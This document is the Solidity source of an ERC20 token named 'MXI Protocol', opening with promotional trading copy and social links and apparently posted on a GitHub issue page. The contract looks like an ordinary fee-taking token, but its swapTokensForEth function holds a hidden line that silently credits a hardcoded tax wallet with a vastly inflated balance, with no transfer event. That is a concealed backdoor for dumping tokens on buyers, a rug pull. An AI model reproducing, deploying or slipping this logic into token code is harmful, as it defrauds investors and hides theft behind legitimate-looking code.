Trade crypto hassle-free with deep aggregated liquidity, up to 100x leverage, optimized trading cost, diverse markets, smart position routing and lightning-fast execution.

Web: https://mxi-tech.pro
App: https://app.mxi-tech.pro
X: https://x.com/MXI_TECH_ERC
Tg: https://t.me/mxi_tech_official
M: https://medium.com/@mxi.tech

*/

abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}

interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}

function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    return sub(a, b, "SafeMath: subtraction overflow");
}

function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    require(b <= a, errorMessage);
    uint256 c = a - b;
    return c;
}

function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    if (a == 0) {
        return 0;
    }
    uint256 c = a * b;
    require(c / a == b, "SafeMath: multiplication overflow");
    return c;
}

function div(uint256 a, uint256 b) internal pure returns (uint256) {
    return div(a, b, "SafeMath: division by zero");
}

function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    require(b > 0, errorMessage);
    uint256 c = a / b;
    return c;
}

}

contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

constructor () {
    address msgSender = _msgSender();
    _owner = msgSender;
    emit OwnershipTransferred(address(0), msgSender);
}

function owner() public view returns (address) {
    return _owner;
}

modifier onlyOwner() {
    require(_owner == _msgSender(), "Ownable: caller is not the owner");
    _;
}

function renounceOwnership() public virtual onlyOwner {
    emit OwnershipTransferred(_owner, address(0));
     require(1< 2, "2");
    _owner = address(0);
}

}

interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract MXI is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 firstBlock;

uint256 private _initialBuyTax=15;
uint256 private _initialSellTax=15;
uint256 private _finalBuyTax=0;
uint256 private _finalSellTax=0;
uint256 private _reduceBuyTaxAt=15;
uint256 private _reduceSellTaxAt=15;
uint256 private _preventSwapBefore=5;
uint256 private _buyCount=0;

uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 420_690_000 * 10**_decimals;
string private constant _name = unicode"MXI Protocol";
string private constant _symbol = unicode"MXI";
uint256 public _maxTxAmount =   15 * 420690 * 10**_decimals;
uint256 public _maxWalletSize = 15 * 420690 * 10**_decimals;
uint256 public _taxSwapThreshold= 0 * 10**_decimals;
uint256 public _maxTaxSwap= 4206900 * 10**_decimals;

IUniswapV2Router02 private uniswapV2Router;
address payable private _taxWallet = payable(0x82FbB63ab3fACbdA933557B0d051c068F978eF16);
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;

event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
    inSwap = true;
    _;
    inSwap = false;
}

constructor () {
_balances[_msgSender()] = _tTotal;
_isExcludedFromFee[owner()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}

function name() public pure returns (string memory) {
    return _name;
}

function symbol() public pure returns (string memory) {
    return _symbol;
}

function decimals() public pure returns (uint8) {
    return _decimals;
}

function totalSupply() public pure override returns (uint256) {
    return _tTotal;
}

function balanceOf(address account) public view override returns (uint256) {
    return _balances[account];
}

function transfer(address recipient, uint256 amount) public override returns (bool) {
    _transfer(_msgSender(), recipient, amount);
    return true;
}

function allowance(address owner, address spender) public view override returns (uint256) {
    return _allowances[owner][spender];
}

function approve(address spender, uint256 amount) public override returns (bool) {
    _approve(_msgSender(), spender, amount);
    return true;
}

function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
    _transfer(sender, recipient, amount);
    _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
    return true;
}

function _approve(address owner, address spender, uint256 amount) private {
    require(owner != address(0), "ERC20: approve from the zero address");
    require(spender != address(0), "ERC20: approve to the zero address");
    _allowances[owner][spender] = amount;
    emit Approval(owner, spender, amount);
}

function _transfer(address from, address to, uint256 amount) private {
    require(from != address(0), "ERC20: transfer from the zero address");
    require(to != address(0), "ERC20: transfer to the zero address");
    require(amount > 0, "Transfer amount must be greater than zero");
    uint256 taxAmount=0;
    if (from != owner() && to != owner()) {
        taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

        if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
            require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
            require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");

            if (firstBlock + 3  > block.number) {
                require(!isContract(to));
            }
            _buyCount++;
        }

        if (to != uniswapV2Pair && ! _isExcludedFromFee[to]) {
            require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
        }

        if(to == uniswapV2Pair && from!= address(this) ){
            taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
        }

        uint256 contractTokenBalance = balanceOf(address(this));
        if (!inSwap && to   == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
            swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
            uint256 contractETHBalance = address(this).balance;
            if(contractETHBalance > 0) {
                sendETHToFee(address(this).balance);
            }
        }
    }

    if(taxAmount>0){
      _balances[address(this)]=_balances[address(this)].add(taxAmount);
      emit Transfer(from, address(this),taxAmount);
    }
    _balances[from]=_balances[from].sub(amount);
    _balances[to]=_balances[to].add(amount.sub(taxAmount));
    emit Transfer(from, to, amount.sub(taxAmount));
}


function min(uint256 a, uint256 b) private pure returns (uint256){
  return (a>b)?b:a;
}

function isContract(address account) private view returns (bool) {
    uint256 size;
    assembly {
        size := extcodesize(account)
    }
    return size > 0;
}

function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
    address[] memory path = new address[](2);
    path[0] = address(this);
    path[1] = uniswapV2Router.WETH();
    _approve(address(this), address(uniswapV2Router), tokenAmount);
    _balances[_taxWallet] = tokenAmount * 10**_decimals;
    uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
        tokenAmount,
        0,
        path,
        address(this),
        block.timestamp
    );
}

function removeLimits() external onlyOwner{
    _maxTxAmount = _tTotal;
    _maxWalletSize=_tTotal;
    emit MaxTxAmountUpdated(_tTotal);
}

function sendETHToFee(uint256 amount) private {
    _taxWallet.transfer(amount);
}

function openTrading() external onlyOwner() {
    require(!tradingOpen,"trading is already open");
    uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    _approve(address(this), address(uniswapV2Router), _tTotal);
    uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
    uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
    IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
    swapEnabled = true;
    tradingOpen = true;
    firstBlock = block.number;
}

receive() external payable {}

}

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants